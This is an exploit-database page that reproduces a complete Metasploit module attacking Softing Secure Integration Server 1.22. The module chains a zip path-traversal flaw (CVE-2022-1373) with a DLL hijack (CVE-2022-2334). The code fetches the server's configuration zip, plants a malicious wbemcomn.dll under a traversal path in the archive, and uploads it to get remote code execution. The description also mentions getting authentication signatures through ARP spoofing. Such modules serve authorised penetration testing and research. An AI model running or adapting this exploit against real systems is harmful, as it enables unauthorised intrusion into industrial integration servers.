Lucene search

K
zdtMetasploit1337DAY-ID-39688
HistoryJul 22, 2024 - 12:00 a.m.

Softing Secure Integration Server 1.22 Remote Code Execution Exploit

2024-07-2200:00:00
metasploit
0day.today
66
softing secure integration server
rce
zip file processing
cve-2022-1373
cve-2022-2334
dll hijacking
signature authentication
arp spoofing

CVSS3

7.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

This Metasploit module chains two vulnerabilities to achieve authenticated remote code execution against Softing Secure Integration Server version 1.22. In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerability when processing zip files. When using the “restore configuration” feature to upload a zip file containing a path traversal file which is a dll called …....................\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk. In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system. The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication. A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zip'
require 'metasploit/framework/login_scanner/softing_sis'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',
        'Description' => %q{
          This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.

          In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.

          In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.

          The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.

          A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Chris Anastasio (muffin) of Incite Team', # discovery
          'Steven Seeley (mr_me) of Incite Team', # discovery
          'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module
        ],
        'References' => [
          ['CVE', '2022-1373'],
          ['CVE', '2022-2334'],
          ['ZDI', '22-1154'],
          ['ZDI', '22-1156'],
          ['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],
          ['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']
        ],
        'DefaultOptions' => {
          'RPORT' => 8099,
          'SSL' => false,
          'EXITFUNC' => 'thread',
          'WfsDelay' => 300
        },
        'Platform' => 'win',
        # the software itself only supports x64, see
        # https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
        'Arch' => [ARCH_X64],
        'Targets' => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-07-27',
        'Privileged' => true,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),
        OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),
        OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),
        OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])
      ]
    )

    self.needs_cleanup = true
  end

  # this will be updated with the signature from "check"
  @signature = nil

  # create a checker instance to reuse code from the Softing SIS login bruteforce module
  def checker_instance
    Metasploit::Framework::LoginScanner::SoftingSIS.new(
      configure_http_login_scanner(
        host: datastore['RHOSTS'],
        port: datastore['RPORT'],
        connection_timeout: 5
      )
    ).dup
  end

  # check if the generated/provided signature is valid for the specified user
  def signature_check(user, signature)
    send_request_cgi({
      'method' => 'GET',
      'uri' => "/runtime/core/user/#{user}/authentication",
      'vars_get' => {
        'User' => user,
        'Signature' => signature
      }
    })
  end

  def check
    # check the Softing SIS version
    softing_version_res = checker_instance.check_setup
    unless softing_version_res
      return CheckCode::Unknown
    end

    softing_version = Rex::Version.new(softing_version_res)
    print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")

    # the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory
    # so we will not continue if the version is not vulnerable
    unless softing_version < Rex::Version.new('1.30')
      return CheckCode::Safe
    end

    # if the operator provides a signature, then use that instead of the username and password
    if datastore['SIGNATURE']
      print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")
      # send a GET request to /runtime/core/user/<username>/authentication
      signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])

      # if we cannot connect at this point, we only know that the version is < 1.30
      # the system "appears" to be vulnerable
      unless signature_check_res
        print_error("#{peer} - Connection failed!")
      end

      # if the signature is correct, 200 OK is returned
      if signature_check_res.code == 200
        print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")
        @signature = datastore['SIGNATURE']
      else
        print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")
      end
    # login with username and password
    else
      # get the authentication token
      auth_token = checker_instance.get_auth_token(datastore['USERNAME'])
      # generate the signature
      @signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])
      # check the generated signatures' validity
      signature_check_res = signature_check(datastore['USERNAME'], @signature)
      # if we cannot connect, then the system "appears" to be vulnerable
      unless signature_check_res
        print_error("#{peer} - Connection failed!")
      end

      # if the signature is correct, 200 OK is returned
      if signature_check_res.code == 200
        print_good("#{peer} - Valid credentials provided")
      else
        print_error("#{peer} - Invalid credentials!")
      end
    end

    # if the version is less than 1.30 it's supposedly vulnerable
    # but there is no way to confirm vulnerability existence without actually exploiting
    # so instead of "Vulnerable", return "Appears"
    CheckCode::Appears
  end

  def exploit
    # did the operator specify a custom DLL? If not...
    if datastore['DLLPATH']
      # otherwise, just use their provided DLL and assume they compiled everything correctly
      # there is no way to check if it's compiled correctly anyway
      dll_path = datastore['DLLPATH']
    else
      # have MSF create the malicious DLL
      path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')
      datastore['EXE::Path'] = path
      datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')

      print_status('Generating payload DLL...')
      dll = generate_payload_dll
      dll_name = 'wbemcomn.dll'
      dll_path = store_file(dll, dll_name)
      print_status("Created #{dll_path}")
    end

    # backup the Softing SIS configuration
    print_status("#{peer} - Saving configuration...")
    get_config_zip_res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/runtime/core/config-download',
      'vars_get' => {
        'User' => datastore['USERNAME'],
        'Signature' => @signature
      }
    })

    # end if we cannot get the configuration for some reason
    unless get_config_zip_res
      fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"
    end

    # status code 200 is the expected response to getting the configuration ZIP
    unless get_config_zip_res.code == 200
      # for verbosity, save the JSON response
      get_config_zip_res_json = get_config_zip_res.get_json_document
      vprint_error("#{peer} - #{get_config_zip_res_json}")
      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"
    end

    # if successful, the body cnotains the configuration ZIP
    config_zip = get_config_zip_res.body

    # config_download.zip is the name of the configuration ZIP when downloading from the browser
    # append a hash based on the peer address to prevent overwriting the config file if there are multiple targets
    config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"

    # store the config zip file
    config_zip_path = store_file(config_zip, config_zip_name)
    print_status("Saved configuration to #{config_zip_path}")

    # insert the malicious DLL
    Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|
      zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)
    end

    # restore the configuration
    restore_config_res = send_request_cgi({
      'method' => 'PUT',
      'uri' => '/runtime/core/config-restore',
      'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",
      'vars_get' => {
        'User' => datastore['USERNAME'],
        'Signature' => @signature
      },
      'data' => File.read(config_zip_path)
    })

    # no response
    unless restore_config_res
      fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"
    end

    # bad response
    unless restore_config_res.code == 200
      # for verbosity, show the JSON response
      restore_config_res_json = restore_config_res.get_json_document
      vprint_error("#{peer} - #{restore_config_res_json}")
      fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"
    end
  end

  # clean up the planted DLL if the session is meterpreter
  def on_new_session(session)
    super

    unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')
      # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
      register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')
    end
  end

  # Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file
  # literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce
  def store_file(data, filename)
    if !::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    if filename && !filename.empty?
      fname, ext = filename.split('.')
    else
      fname = "local_#{Time.now.utc.to_i}"
    end

    fname = ::File.split(fname).last

    fname.gsub!(/[^a-z0-9._-]+/i, '')
    fname << ".#{ext}"

    path = File.join("#{Msf::Config.local_directory}/", fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, 'wb') { |fd| fd.write(data) }

    full_path.dup
  end
end

CVSS3

7.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low